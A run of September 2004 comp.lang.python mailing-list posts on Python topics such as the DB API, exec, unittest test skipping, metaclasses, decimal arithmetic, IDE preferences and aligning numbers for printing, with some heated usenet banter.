24 08:15:33 2004 From: drysdam at ll.mit.edu (David Rysdam) Date: Fri, 24 Sep 2004 08:15:33 -0400 Subject: Python and Sybase In-Reply-To: <87wtyksoaa.fsf@pobox.com> References: <wVE4d.53$26.20@llslave.llan.ll.mit.edu> <87wtyksoaa.fsf@pobox.com> Message-ID: <FdU4d.54$26.48@llslave.llan.ll.mit.edu> John J. Lee wrote: > David Rysdam <drysdam at ll.mit.edu> writes: > >>Also, is there any module that provides a generic DB API and can be >>hooked to both Sybase and postgresql? This >>(http://www.python.org/peps/pep-0249.html) looks pretty old. > > > Not a single module -- why would you want one? > > The DB API (version 2) is the standard. The idea of the DB API is to > make it possible to write DB API code that works across multiple > database backends. No need at all for a single module, just a single > standard. Unfortunately, making this work is not entirely trivial: > There are some stupid issues that are the fault of the DB API -- SQL > argument substitution syntax in particular -- and some trickier ones > -- particularly the variations in the capabilities of DBMSes. If you > want your code to work across multiple DBMS backends, you should test > it with those DBMSes from the start. Doing it later is possible but > may be hard work (made less difficult if you keep your DB code > localised). Yes, I posted this question before I understood what the DB API was. Looks good. From steve at holdenweb.com Thu Sep 30 08:19:38 2004 From: steve at holdenweb.com (Steve Holden) Date: Thu, 30 Sep 2004 08:19:38 -0400 Subject: embedding python in python In-Reply-To: <415b415e$1@news.unimelb.edu.au> References: <415a7f0b$1@news.unimelb.edu.au> <4b39d922.0409290938.42c68ca4@posting.google.com> <415b415e$1@news.unimelb.edu.au> Message-ID: <pVS6d.1780$TY2.461@lakeread04> Maurice LING wrote: > Lonnie Princehouse wrote: > >> Maurice LING <mauriceling at acm.org> wrote in message >> news:<415a7f0b$1 at news.unimelb.edu.au>... >> >>> Hi, >>> >>> anyone had any experiences in embedding python in python? >>> >>> I've tried to do this but it doesn't work. >>> >>> eval("from Tkinter import *") >>> >>> Thanks >>> maurice >> >> >> >> You need exec for statements: >> >> exec("from Tkinter import *") > > > Thank you. ... and note that exec is a statement introduced by a keyword, not a function call, so exec "from Tkinter import *" is a less misleading way to write it. regards Steve From rkern at ucsd.edu Mon Sep 20 17:27:28 2004 From: rkern at ucsd.edu (Robert Kern) Date: Mon, 20 Sep 2004 14:27:28 -0700 Subject: Just curious In-Reply-To: <pan.2004.09.20.20.45.09.246503@NOSPAMrosecott.ukfsn.org> References: <pan.2004.09.20.20.45.09.246503@NOSPAMrosecott.ukfsn.org> Message-ID: <cini01$4k1$1@news1.ucsd.edu> Ken Parkes wrote: > I understand usual practise to involve responding to a posting within the > original thread. In this group there seem to be many responses to a > question which start a new thread; viz. <new python book!!> by vegetax > leads to a new thread <Re:new python book!!> by Gerrit. Ditto <How does > this function work?>. Is this a peculiarity of something Pythonites are > using, or is there a different protocol here? Some people are reading from and responding to c.l.py from the mailing list interface. Their responses don't always thread correctly in some newsreaders. I will note that Thunderbird usually places responses in the right thread if not always in the right place. And sometimes it starts new threads from replies, too, so it's not perfect. > Ken. -- Robert Kern rkern at ucsd.edu "In the fields of hell where the grass grows high Are the graves of dreams allowed to die." -- Richard Harter From alban at magproductions.nl Tue Sep 21 09:48:26 2004 From: alban at magproductions.nl (Alban Hertroys) Date: Tue, 21 Sep 2004 15:48:26 +0200 Subject: Psycopg and threads problem In-Reply-To: <Q6ydnacWDYOvmdLcRVn-hQ@giganews.com> References: <cimj9q$7jr$1@netlx020.civ.utwente.nl> <0fidnS729Ln4bdPcRVn-hQ@giganews.com> <414EF5BC.9010002@magproductions.nl> <GrmdnVp_Prbtn9LcRVn-gw@giganews.com> <Q6ydnacWDYOvmdLcRVn-hQ@giganews.com> Message-ID: <4150312A.8040105@magproductions.nl> Istvan Albert wrote: > Istvan Albert wrote: > >> have a commit at the end of your insert threads. That way >> when all the inserts are finished the data will be available >> for the combine thread. > > I forgot this, if the commit after insert is unfeasible > you could store the db connections in a data structure shared across > threads > and if/when all the insert threads complete without errors you can call > commit > on each of these before the combine thread. That's what I already do, actually. It would be kind of difficult to use the same database session/transaction amongst different connections (that, as mentioned, could incidentally be the same due to pooling). I pass an application context to every object in the application, and that includes a database connection. I spawn cursors from that single connection. > Sounds a bit hackish though, just an idea. Not really, if you want to use the transaction handling in your DBMS. > Istvan. From ml at dynkin.com Thu Sep 23 10:10:56 2004 From: ml at dynkin.com (George Yoshida) Date: Thu, 23 Sep 2004 23:10:56 +0900 Subject: unittest: new reporting category "skipped" In-Reply-To: <mailman.3772.1095935910.5135.python-list@python.org> References: <mailman.3772.1095935910.5135.python-list@python.org> Message-ID: <ciulfp$1kp9$1@dojima-n0.hi-ho.ne.jp> Remy Blank wrote: > Hello unittest users, > A third solution, and the one I would like to have feedback about, > is to add the notion of a "skipped" test to unittest. Currently, > test results are given in terms of tests having either succeeded, > failed, or generated an error. What about adding a fourth result > type, skipped, that is also reported at the end of the suite? > > I imagine something like this: > > class AnythingTest(unittest.TestCase): > def testSomethingAsRoot(self): > self.skipIf(os.geteuid() != 0, "Must be root") > > self.assertEqual(...) > ... > > def testSomethingAsNormalUser(self): > self.skipIf(os.geteuid() == 0, "Must be normal user") > > self.assertEqual(...) > ... > > skipIf() would throw a skippedTestException that would be caught > in TestCase.__call__(). TestResult would be extended with an > addSkipped() function. The reporting in text mode could be as follows: > > FAILED (failures=1, skipped=7) > > or > > OK (skipped=7) > > Comments? Ideas? > > If the echo is positive, I will make an initial implementation and > provide a patch for feedback. Check out TestSkipped. It's already implemented as a part of utility functions for unittest module and heavily used in Lib/test directory. Here's a simple example: from test.test_support import TestSkipped class AnythingTest(unittest.TestCase): def testSomethingAsRoot(self): if os.geteuid() != 0: raise TestSkipped, "Must be root" self.assertEqual(...) ... def testSomethingAsNormalUser(self): if os.geteuid() == 0: raise TestSkipped, "Must be normal user" self.skipIf(os.geteuid() == 0, "Must be normal user") self.assertEqual(...) ... George From __peter__ at web.de Sun Sep 19 03:24:48 2004 From: __peter__ at web.de (Peter Otten) Date: Sun, 19 Sep 2004 09:24:48 +0200 Subject: Math errors in python References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com> <cihrab$1v8$02$1@news.t-online.com> <%fa3d.3867$%42.1942@trndny08> Message-ID: <cijc81$obs$01$1@news.t-online.com> Chris S. wrote: >> Starting with Python 2.4 there will be the 'decimal' module supporting >> "arithmetic the way you know it": > Great, why fix what's broken when we can introduce a new module with an > inconvenient API. 1. It ain't broken. 2. What fraction of the numbers in your programs are constants? Peter From jarrodhroberson at yahoo.com Mon Sep 20 18:44:19 2004 From: jarrodhroberson at yahoo.com (Y2KYZFR1) Date: 20 Sep 2004 15:44:19 -0700 Subject: python is going to die! =( References: <mailman.3520.1095631846.5135.python-list@python.org> <Omo3d.17502$QJ3.11149@newssvr21.news.prodigy.com> <mailman.3524.1095636290.5135.python-list@python.org> Message-ID: <c718a6cf.0409201444.484ddfb1@posting.google.com> julio <julioperezsosa at yahoo.com> wrote in message news:<mailman.3524.1095636290.5135.python-list at python.org>... > DilbertFan wrote: > > > Do what you like to do. Do what's fun. What does Julio like to do? Do > > that, Julio. > > > > > > mmm , i like to program , i like open source i hate m$ , i like python , i > dont like c# cause its still in m$ domains , i like c# monodevelop and > sharpdevelop and there is no real python ide avaiable so i dont have to > memorize the 2000 libraries and functions and their behavior to think about > programing seriusly, and the python proyects,adoption and development is > decreasing more and more. so .. there are lots of "real python ides" you are just lazy or too stupid to find them. Komodo is awesome, there is even a plugin that works in Visual Studio, and lots and lots of others, I think that lazy / stupid is the problem. From marfadeut at gmx.de Sat Sep 25 18:23:10 2004 From: marfadeut at gmx.de (M. Faust) Date: Sun, 26 Sep 2004 00:23:10 +0200 Subject: f2py error - windows xp (F2PY-2.43.239_1806) In-Reply-To: <m2zn3eq9xi.fsf@pchoel.psh> References: <cj4pgc$7dr$3@online.de> <m2zn3eq9xi.fsf@pchoel.psh> Message-ID: <cj4r5l$9nm$1@online.de> I got the same error with NumPy 23.3. Markus From marc at snafu.org Tue Sep 7 14:46:06 2004 From: marc at snafu.org (Marco S Hyman) Date: 07 Sep 2004 11:46:06 -0700 Subject: Xah Lee's Unixism References: <slrncj1745.t5q.amajorel@atc5.vermine.org> <413c5b9c$0$19705$61fed72c@news.rcn.com> <1s4ihc.4i4.ln@via.reistad.priv.no> <opsdxecgt8pqzri1@mjolner.upc.no> <t7mjhc.ubd.ln@via.reistad.priv.no> Message-ID: <x73c1t3ok1.fsf@neko.snafu.org> Morten Reistad <firstname at lastname.pr1v.n0> writes: > First ISP : 1983 (uunet, EUnet followed next year) I thought PSINET claimed to be the first. Let's see.... http://www.zakon.org/robert/internet/timeline/ claimes UUNET wasn't founded until 1987 and doesn't mention PSINET until '91 when CIX was created. Oh well. Interesting charts regarding the growth from about '90 on at the bottom of that page. / marc From ben at benlast.com Sat Sep 11 08:34:54 2004 From: ben at benlast.com (Ben Last) Date: Sat, 11 Sep 2004 13:34:54 +0100 Subject: UPNP, Media & Python Message-ID: <HLEGKHKIKMEHENBAEIEPEENNCHAA.ben@benlast.com> I've been messing around with my Netgear MP101 and alternate servers. I like the MP101, but the server that comes with it leaves a lot to be desired (like you need to have it running on a logged-in Windows machine. Gag me with a spoon). So my thought naturally turned to whether it's feasible to write a replacement in Python. After all, UPnP is really just XML via HTTP over UDP... Half-an-hour's Googling later, it looks like it's a bigger job, but what especially intrigued me is that there seem to be no Python UPNP frameworks, when I'd have thought it was a pretty good match. So - does anyone know any different? Is there a working UPNP implementation on which I could slap a Mediaserver implementation? Inquiring minds want to know... ben From nobody at nowhere.com Wed Sep 22 22:35:41 2004 From: nobody at nowhere.com (Yannick Turgeon) Date: Wed, 22 Sep 2004 22:35:41 -0400 Subject: Newby Project References: <415230f9@dnews.tpgi.com.au> Message-ID: <1Eq4d.20672$pA.1421471@news20.bellglobal.com> If you like problem solving, you could go there, in "Archive": http://ipsc.ksp.sk/ It will probably be more thinking than coding but use python to solve those problems and time will fly away! dit wrote: > I want to start something small, like a learning program. I've been > looking and learning python for about 4 months; and I think that I have > the basics under my belt... is it worth trying my own project, or is it > better to continue with the py tutes? > > Also if I was to start, how do I pose myself the question of what am I > actually trying to achieve / what am I trying to make? > > > any comments and suggestions welcome. > > > > //dit\\\ From luismg at gmx.net Sun Sep 5 01:59:51 2004 From: luismg at gmx.net (Neuruss) Date: 4 Sep 2004 22:59:51 -0700 Subject: [IronPython] Jim Hugunin's web log. References: <mailman.2627.1093893089.5135.python-list@python.org> <x4udnSFnNtVUW67cRVn-qQ@speakeasy.net> <278de0e.0408302346.62cfc40b@posting.google.com> <VFs_c.5174$g%5.76435@news2.e.nsc.no> Message-ID: <278de0e.0409042159.2e743d89@posting.google.com> > How naive are you? I don't think I'm naive. I just don't suffer paranoia. Regarding Ironpython, I just love to see it alive. I love python, and I want to see it running everywhere. What's the problem with python in the CLR? None! One place more to see it running! And if you don't like Microsoft, or you just hate it, or if you're one of those guys who think that Redmond is ploting to destroy the world, well, you still can use Cpython or Jython. You choose, it's up to you. I just think that, being Microsoft and .NET (and now Mono and soon dotgnu) so ubiquitous, it wont harm Python if someone creates an implementation to take full advantage of this framework. Hugunin already did an excellent job with Jython, and it's hard to believe that while working for the evil empire he will come up with the seed of destruction for python... From aleaxit at yahoo.com Wed Sep 29 09:50:43 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 29 Sep 2004 15:50:43 +0200 Subject: Metaclass with name overloading. References: <tyfekkoeyk2.fsf@pcepsft001.cern.ch> <60dfb6f6.0409281126.48c277d9@posting.google.com> <tyfsm91edqb.fsf@pcepsft001.cern.ch> Message-ID: <1gkvl7l.1y2xyfm1tal42xN%aleaxit@yahoo.com> Jacek Generowicz <jacek.generowicz at cern.ch> wrote: > imbosol at aerojockey.com (Carl Banks) writes: > > > def alltuple(name,bases,clsdict): > > return tuple(clsdict.values()) > > __metaclass__ = alltuple > > WBMSWA12FB ! > > It never occurred to me that a metaclass didn't have to be a _class_. You should have seen Guido's face when he first saw me give a presentation on "use and abuse of custom metaclasses" -- apparently, judging from his horrified expression, it hadn't occurred to him, either, and he didn't like it half a bit... since then I've been quite careful against actually using this idea in production code. Actually I believed I showed something more like: class whatever: def __metaclass__(clsname, clsbases, clsdict): return <I don't remember what> ...etc etc... i.e., an "anonymous metaclass", so to speak. But that's a minor aspect. After all, something like: class yetanother: class __metaclass__(type): ...etc etc... is just as so-to-speak "anonymous" yet IS nowadays quite an accepted idiom...! Alex From jjl at pobox.com Sat Sep 25 08:31:11 2004 From: jjl at pobox.com (John J. Lee) Date: 25 Sep 2004 13:31:11 +0100 Subject: Unexpected result. References: <Pine.LNX.4.44.0409231312490.8517-100000@e5-05.ee.ualberta.ca> <sMudnfJId4X_vM7cRVn-hg@comcast.com> <7xmzzg4tev.fsf@ruckus.brouhaha.com> Message-ID: <87d60aa5tc.fsf@pobox.com> Paul Rubin <http://phr.cx at NOSPAM.invalid> writes: > "Larry Bates" <lbates at swamisoft.com> writes: > > Actually the result is exactly as expected. Programming 101 teaches > > us not to reuse loop variables in nested loops. > > Programming 101 usually doesn't say whether a nested loop introduces a > new scope or not. If there's a new scope, it's not re-use of a variable. Whether the OP's usage is "re-use of a variable" is a matter of how you choose to define the words in that phrase, I suppose. But even in a hypothetical Python-like language that works the way Grzegorz expected, whatever you choose to call the usage of the name i in G's example, I call it "a bad idea". I assume you didn't mean to imply that the OP's example wouldn't be better if written with a differently-named loop variable, even in such a language?: >>> for i in ('a','b','c'): ... for j in (1,2,3): ... print j, ... print i, ... 1 2 3 a 1 2 3 b 1 2 3 c John From jerf at jerf.org Sun Sep 19 20:52:09 2004 From: jerf at jerf.org (Jeremy Bowers) Date: Mon, 20 Sep 2004 00:52:09 GMT Subject: python is going to die! =( References: <mailman.3520.1095631846.5135.python-list@python.org> <pan.2004.09.20.19.27.30.753994@jerf.org> <mailman.3525.1095638033.5135.python-list@python.org> Message-ID: <pan.2004.09.20.22.00.21.437368@jerf.org> On Sun, 19 Sep 2004 19:53:38 -0400, julio wrote: > So am i missing something ? are any of my arguments wrong ? Your arguments are *boring*. You think in zero-sum terms. I wouldn't refute your "arguments", I'd have to refute your entire boring *philosophy*. If I shared your philosophy, I'd be in either Java or .NET. Python isn't .NET, isn't going to be .NET, *shouldn't* be .NET just because some random "julio" wants Python to be .NET. Obligatory mentioning of IronPython and standard exhortation to go forth and Google. You weren't arguing, you were declaring and trolling. Meeting your trolling with arguments is the wrong answer. Again, C# and its community, wherein I'm sure you'll find a lot of support and agreement, is that-a-way ---> From FBatista at uniFON.com.ar Thu Sep 9 16:24:03 2004 From: FBatista at uniFON.com.ar (Batista, Facundo) Date: Thu, 9 Sep 2004 17:24:03 -0300 Subject: Is there no switch function in Python Message-ID: <A128D751272CD411BC9200508BC2194D053C7927@escpl.tcp.com.ar> [Rudi Hansen] #- I dont seem to be able to find the switch statement in Python. Read the FAQ: http://www.python.org/doc/faq/general.html#why-isn-t-there-a-switch-or-case- statement-in-python . Facundo From davebrok at soda.csua.berkeley.edu Sun Sep 19 21:02:08 2004 From: davebrok at soda.csua.berkeley.edu (David Pokorny) Date: Sun, 19 Sep 2004 18:02:08 -0700 Subject: memory allocation References: <pan.2004.09.19.11.21.21.129058@optusnet.com.au> <pan.2004.09.19.18.28.33.473150@optusnet.com.au> Message-ID: <wKKdnQdfZYYRsdPcRVn-uQ@lmi.net> <benevilent at optusnet.com.au> wrote in message news:pan.2004.09.19.18.28.33.473150 at optusnet.com.au... > My latest understanding is that the default memory allocation will result > in arenas being created to fulfill the maximum memory requirements of the This is all correct, but you're probably attacking the problem from the hard end. Perhaps some C code has forgotten to DECREF a dead object. See section 1.10 of http://docs.python.org/ext/ext.html David Pokorny From bgabriel at cloudthunder.com Wed Sep 29 19:16:30 2004 From: bgabriel at cloudthunder.com (Bishara Gabriel) Date: Wed, 29 Sep 2004 19:16:30 -0400 Subject: Social Analysis and Modeling for Python In-Reply-To: <1096493975.1238.45.camel@emilio> References: <415AD6A4.7000400@cloudthunder.com> <1096493975.1238.45.camel@emilio> Message-ID: <415B424E.7070903@cloudthunder.com> I would be most willing to work with you in insuring that the specifics of public health are accounted for and one is then able to witness and experiment with the varying outcomes of various health promotion campaigns and interventions. Cameron was indeed correct to point out pre-existing efforts in this area, and I immediately corrected the wording so as we no long assert that we will be "introducing" OOP to the social sciences. Cameron verified that I had corrected the issue appropriately. Pre-existing efforts will be acknowledged on our website pending its launch. The PSF has made clear that they favor concise proposals, and such references within the proposal would extend beyond the scope of the call. By "other" GPL, I assume you mean LGPL? We most likely will use the GPL but this may be discussed further. It has not been etched in stone as yet. Thank you for your encouragements and enthusiastic commentary. We very much value feedback. Let me know if you would like to participate in the project. Sincerely, Bishara Gabriel From aleaxit at yahoo.com Mon Sep 27 10:47:31 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Mon, 27 Sep 2004 16:47:31 +0200 Subject: Metaclass with name overloading. References: <tyfekkoeyk2.fsf@pcepsft001.cern.ch> <mailman.3957.1096289972.5135.python-list@python.org> <1gks231.p4u2yr14s3pwfN%aleaxit@yahoo.com> <mailman.3960.1096294403.5135.python-list@python.org> Message-ID: <1gks5og.1iwnfub1tnkj0xN%aleaxit@yahoo.com> Carlos Ribeiro <carribeiro at gmail.com> wrote: ... > On Mon, 27 Sep 2004 15:27:31 +0200, Alex Martelli <aleaxit at yahoo.com> wrote: > > > 1) One such idea is to provide the metaclass with a __dict__ factory. > > > > If you go that route, then it may indeed require changes too deep for > > 2.5 or 2.anything. The metaclass gets determined later, at the time > > CALL_FUNCTION executes the metaclass ain't in play yet. ... > time frame. But for now, I have only one question. You said that the > metaclass is determined later. I'm not familiar with Python's > internals, but I (naively?) assumed that the metaclass is known very > early in the class declaration process. Is that wrong? I'm confused as to why you would assume that and what you mean by 'declaration'. I'll take it that you mean the _execution_ of the class _statement_, in which case I really can't see how you could assume any such thing. You _do_ know that __metaclass__ can be set anywhere in the class body, for example, right? So how could Python know the metaclass before it's done executing the class body? Yet it's exactly in order to execute the class body in the modified way you desire, that Python would need to set a certain frame's f_locals differently from the usual dict. In other words, it's not an issue of implementation details that could be tweaked while leaving current semantics intact: if you insist that it must be the _metaclass_ which determines what kind of mapping object is used for the f_locals of the frame where the class's body executes, then it cannot be possible any more to determine the metaclass with today's semantics (which I think are pretty fine, btw). Come to think of it, this might be a great role for class-decorators. If I had a way to tweak the kind of f_locals for a _function_, the general semantics of today's function decorators would be fine (the tweak might be attached after the function object is built, since it's only needed when that function gets _called_). But for a class, by the time the class body starts executing, it's too late, because it must be executing with some kind of f_locals in its frame. So, class decorators would have to be given a chance _before_ the class body runs. > obs 1: If it's possible to determine the metaclass *early*, then it's > no problem to call any extra function to provide the f_locals dict, or > to provide an augmented dict. But Python can never be sure what the metaclass will be until the class body is done executing, far too late. Basically, you'd need to forbid the current possibility of setting __metaclass_ in the class body, plus, you'd have to get deep into analyzing the bases before executing the class body -- and if you look at what types.ClassType does to delegate the metaclass choice to other bases if it possibly can, you'll probably agree that this nicety has to be abrogated too. All in order to have the f_locals' kind be set by the *metaclass* rather than by other means -- honestly, it seems the price is too high, unless there are some big advantages connected by the choice of metaclass vs other means that I fail to see. What's so terrible about my q&d idea of having a sys._something function do the job, for example? Then once we have the ability to do the setting we can think of nice syntax to dress it up. But the mods to ceval.c needed to accept any kind of setting for f_locals' type seem a pretty big job already, without needing to put up the hurdle that the metaclass must be determined early, too... Alex From tim.peters at gmail.com Tue Sep 21 15:19:55 2004 From: tim.peters at gmail.com (Tim Peters) Date: Tue, 21 Sep 2004 15:19:55 -0400 Subject: Python 3.0, rich comparisons and sorting order In-Reply-To: <pan.2004.09.22.18.02.19.310499@jerf.org> References: <864d370904092109509df67ee@mail.gmail.com> <loom.20040921T192348-961@post.gmane.org> <20040921173455.GB2891@unununium.org> <mailman.3661.1095788560.5135.python-list@python.org> <pan.2004.09.22.18.02.19.310499@jerf.org> Message-ID: <1f7befae04092112196ba787b6@mail.gmail.com> [Steven Bethard] >> Is there a good use case for binary trees with incompatible types at the nodes? [Jeremy Bowers] > See the ZODB's BTree-based storage. If you really look at them, you'll eventually read the "Total Ordering and Persistence" section of the BTree docs: <http://zope.org/Wikis/ZODB/FrontPage/guide/node6.html#SECTION000631000000000000000> It's strongly recommended there that people use a single key type per BTree instance. Most of that part of the docs is explaining how many nasty ways there are to get into bad trouble by being cleverer than that. From max at alcyone.com Mon Sep 27 01:10:18 2004 From: max at alcyone.com (Erik Max Francis) Date: Sun, 26 Sep 2004 22:10:18 -0700 Subject: Unary plus operator and __pos__ References: <mailman.3948.1096260645.5135.python-list@python.org> Message-ID: <4157A0BA.E3DE876@alcyone.com> Carlos Ribeiro wrote: > Now I'm curious about the operator itself. Why is the unary plus > operator associated with the __pos__ magic method? I' can't see a > relation here, and I could not find much info (although I haven't > really looked very hard :-) > > Anyone knows why is it so? Unary plus is __pos__ for positive, unary minus is __neg__ for negative. The unary plus operator, I'm sure, is a holdover from C. Since the unary plus operator is a no-op for normal numeric values, I would be hesitant to use it to mean something else; I'm a firm believer in careful use of operator overloading, prefering to do so hopefully only when the meaning is apparent from conventional operator usage. Since unary + is a no-op, I don't think it would be a great idea to use it to mean something vastly different, like "add a fact to the database." But to each his own. -- __ Erik Max Francis && max at alcyone.com && http://www.alcyone.com/max/ / \ San Jose, CA, USA && 37 20 N 121 53 W && AIM erikmaxfrancis \__/ But the system has no wisdom / The Devil split us in pairs -- Public Enemy From aleaxit at yahoo.com Wed Sep 15 05:43:28 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 15 Sep 2004 11:43:28 +0200 Subject: Align numbers at decimal point References: <2qqe5vF11pk6jU1@uni-berlin.de> Message-ID: <1gk5js2.g06uub16kegxdN%aleaxit@yahoo.com> Enno Middelberg <enno.middelbergREMOVE_ME at csiro.au> wrote: > I'm sure someone asked this question before, but I can't find the > solution on the web or in the groups. > > I want to print out columns of numbers which are aligned at the decimal > point, eg: > > 123.45 > 3.0 > 65.765486 > > I can't find how to do that. I use the following command as a > workaround, but it only works when the number of digits after the > decimal point is constant: > > print ("%.2f" % reduced_time).rjust(9) > > > Is there an easy solution? Well, first of all you must have all the numbers at hand before you can print even just one of them, of course -- you can't know how much space you need on the left until you know what number out of them all needs most such space. So, say the numbers are coming from some iterable all_numbers, just start by accumulating their formatted forms (without yet any padding), as well as the space each occupies before the decimal point (since we do know we'll need that information later): formatted_numbers = [] space_on_the_left = [] for number in all_numbers: formatted_string = your_favourite_format % number formatted_numbers.append(formatted_string) on_the_left = formatted_string.find('.') if on_the_left < 0: on_the_left = len(formatted_string) space_on_the_left.append(on_the_left) You might make this part a bit more compact with a couple of clever list comprehensions, but I think it's more readable when written out this way. If you know every formatted string WILL include a period, you should change the if statement into an assert (or change the call to the find method into a call to the index method, and remove the following if statement -- index will raise if it can't find the needle in the haystack, while find returns -1 in that case). After this loop you can easily find out how much space you need on the left for the number that is longest there...: left_total = max(space_on_the_left) and now you do have all the info you need to do the printing: for s, l in zip(formatted_numbers, space_on_the_left): padding = ' '*(left_total - l) print '%s%s' % (padding, s) Again, you can of course make this a bit more compact, for example by computing the padding string contextually to the print statement, but I think it's clearer and more readable to give 'padding' its own name. In many cases you can simplify things if you know left_total in advance, for example you know that the '.' (if any) must always fall exactly on the 21st column of each row you're printing (meaning you know that no number will have more than 20 digits before the . -- and even if they're all shorter you still want to leave that amount of space). For such a case, you need only a single loop and no extra memory...: for number in all_numbers: formatted_string = your_favourite_format % number on_the_left = formatted_string.find('.') if on_the_left < 0: on_the_left = len(formatted_string) padding = ' '*(left_total - on_the_left) print '%s%s' % (padding, formatted_string) (once again, you can trade off legibility for compactness, if you wish). Alex From 59Bassman at gmail.com Sun Sep 19 18:41:31 2004 From: 59Bassman at gmail.com (Abe Mathews) Date: Sun, 19 Sep 2004 18:41:31 -0400 Subject: python is going to die! =( In-Reply-To: <pan.2004.09.20.19.27.30.753994@jerf.org> References: <mailman.3520.1095631846.5135.python-list@python.org> <pan.2004.09.20.19.27.30.753994@jerf.org> Message-ID: <9c991c08040919154150f63d34@mail.gmail.com> There are non-caffeinated brands out there that really do taste just as good as the high-test. Really. I'll be honest, I have little experience with IDE's. Every time I've used one it takes me about 5 minutes to be wishing again for Emacs and a command line to work with. I'm not a grizzled old veteran; I'm not as experienced as 99% of this lis,; and I'm probably not much of a programmer - but - I find I work better with Emacs than an IDE. So the fact that there isn't a good IDE available isn't that big of a deal to me. Perhaps I don't realize what I'm missing. Perhaps I'm better off blissfully ignorant. As for C# "killing" Python? I don't think so. There are still plenty of folks programming in Fortran (and heck, some still in COBOL) for crying out loud. C is still studied, used, and taught, even though C++ was should have supplanted it. Maybe at some point Python will stop being a major development language, but that doesn't mean it's going to die. Languages are tools, plain and simple. You appear to have found a tool that works better for you in the methods that you prefer to work under. That doesn't diminish the usefulness of someone else's preferred tool. Just because you like your table saw, that doesn't mean that the usefulness of my old handsaw is diminished, it just means we have additional options available. Options are a GOOD thing. Abe Mathews From hercules.rockefeller at springfield.??.us Thu Sep 30 11:53:23 2004 From: hercules.rockefeller at springfield.??.us (Rembrandt Q Einstein) Date: Thu, 30 Sep 2004 11:53:23 -0400 Subject: thread execution order In-Reply-To: <cjh4nb$opt$05$1@news.t-online.com> References: <cjh1hd$rek$03$1@news.t-online.com> <STT6d.25$Za.8@llslave.llan.ll.mit.edu> <cjh4nb$opt$05$1@news.t-online.com> Message-ID: <TZV6d.27$Za.13@llslave.llan.ll.mit.edu> Axel Mittendorf wrote: > "Rembrandt Q Einstein" wrote: > >>I wouldn't do this with threads. I'd use select() or similar to see if >>the pipe is writable and if it isn't, buffer internally. > > I thought about something like this too, but since I'm not allowed to > use some kinda timer to write out the pending data I can't it that way. > Therefor I wondered to use threads. You don't need a timer. Just every time your program tries to write, it first checks the pipe. If it can write, it does. If it can't, it buffers until the next time it tries. From mru at mru.ath.cx Wed Sep 1 13:04:43 2004 From: mru at mru.ath.cx (=?iso-8859-1?q?M=E5ns_Rullg=E5rd?=) Date: Wed, 01 Sep 2004 19:04:43 +0200 Subject: Larry Wall & Cults References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <pan.2004.08.29.03.59.02.719953@bar.net> <25u2j0d9bfulqljo6d2jbls2v52l1jk3sd@4ax.com> <pan.2004.08.30.00.02.19.911327@bar.net> <20040830.2227.57577snz@dsl.co.uk> <3jmZc.17355$ni.11047@okepread01> Message-ID: <yw1xllft3opg.fsf@mru.ath.cx> Steve Holden <sholden at holdenweb.com> writes: > Brian {Hamilton Kelly} wrote: > >> On Sunday, in article >> <pan.2004.08.30.00.02.19.911327 at bar.net> foo at bar.net "Mac" >> wrote: >> >>>Hmm. No explicit comparison was made, but since the post is a cautionary >>>tale (well, the post is a rambling mess, but I think it is trying to be a >>>cautionary tale) I think the comparison is understood. >> "Cautionary tale"???? Cautionary tale, my arse. >> The post was the fuckwitted ramblings of a total raving looney; kill >> the >> thread (and the original poster) and forget about it. >> > Snicker. Definitely the most sensible suggestion I've seen so far. That would of course make it a cautionary tale. -- M?ns Rullg?rd mru at mru.ath.cx From bgabriel at cloudthunder.com Thu Sep 30 21:24:40 2004 From: bgabriel at cloudthunder.com (Bishara Gabriel) Date: Thu, 30 Sep 2004 21:24:40 -0400 Subject: Social Analysis and Modeling for Python In-Reply-To: <sv6u22-r3k.ln1@lairds.us> References: <415AD6A4.7000400@cloudthunder.com> <mailman.4096.1096482802.5135.python-list@python.org> <4abs22-p18.ln1@lairds.us> <2s2q4uF1fcanvU1@uni-berlin.de> <sv6u22-r3k.ln1@lairds.us> Message-ID: <415CB1D8.3020706@cloudthunder.com> Cameron Laird wrote: >In article <2s2q4uF1fcanvU1 at uni-berlin.de>, val <val at vtek.com> wrote: > . > . > . > > >>well, 'If this were my proposal, I'd aim for the far more powerful,' >>"In addition to conventional wisdom, Python may be considered as >>a unique *science tool* providing an opportunity (1) *to build models >>programmatically* - using online experimental data, data-driven >>techniques, and databases integrated with the models, (2) to keep >>the models in a dynamic format available for online analysis, >>testing, and updating. Such online science/reasoning tools may as well be a >>unique >>communication vehicle among scientists speeding up drastically >>understanding complex/data-intensive phenomena such as genome dynamics, >>social processes, terror networks, industrial dynamics, etc." >> >> >> >> >> > >Hear, hear! Well-done. > > As I said, an excellent suggestion indeed. Unfortunately, we already have enough on our plate (as you pointed out) considering the time frame and resources allowed to us. If we had instead applied for a NSF grant (three years, large budget) then we would have no problem with asserting our ability to utilize *online*-experimental data, to keep the models in a dynamic format available for *online* analysis, and so forth. Our limited time and resources will narrow our capabilities in this respect. If we had a larger team of regular contributors, this might be more plausible. Thank you for your feedback. Sincerely, Bishara Gabriel From carribeiro at gmail.com Fri Sep 17 11:02:17 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Fri, 17 Sep 2004 12:02:17 -0300 Subject: up with PyGUI! In-Reply-To: <m3k6utyn47.fsf@g2ctech.com> References: <mailman.3318.1095180577.5135.python-list@python.org> <m3vfeg69xp.fsf@g2ctech.com> <2qq5adF133c5kU1@uni-berlin.de> <m3isaf1xki.fsf@g2ctech.com> <2qvc54F143difU1@uni-berlin.de> <m3k6utyn47.fsf@g2ctech.com> Message-ID: <864d37090409170802238c4adf@mail.gmail.com> On Fri, 17 Sep 2004 11:40:56 -0300, Jorge Godoy <godoy at ieee.org> wrote: > People said here we can get that with OpenOffice.org... I'll try it > later. The problem is not the result -- as I think we can get those > results with SodiPodi, Gimp and other tools in a chain or even > alone... -- but the effort to get that result. As far as I know, no open source tool is close to the quality that professional tools like Adobe Acrobat can give to you. Part of the problem is economics -- it takes a lot of money to fine tune visual output, it takes a lot of testing with different media, and a lot of time to get it right. Another problem is that coders alone can't do it; you need to have people highly specialized in design theory, visual perception theory, etc. It's a highly skilled, very well paid staff. And last, there are patents -- lots of -- in color handling and anti-aliasing. Adobe holds a number of such patents, as do 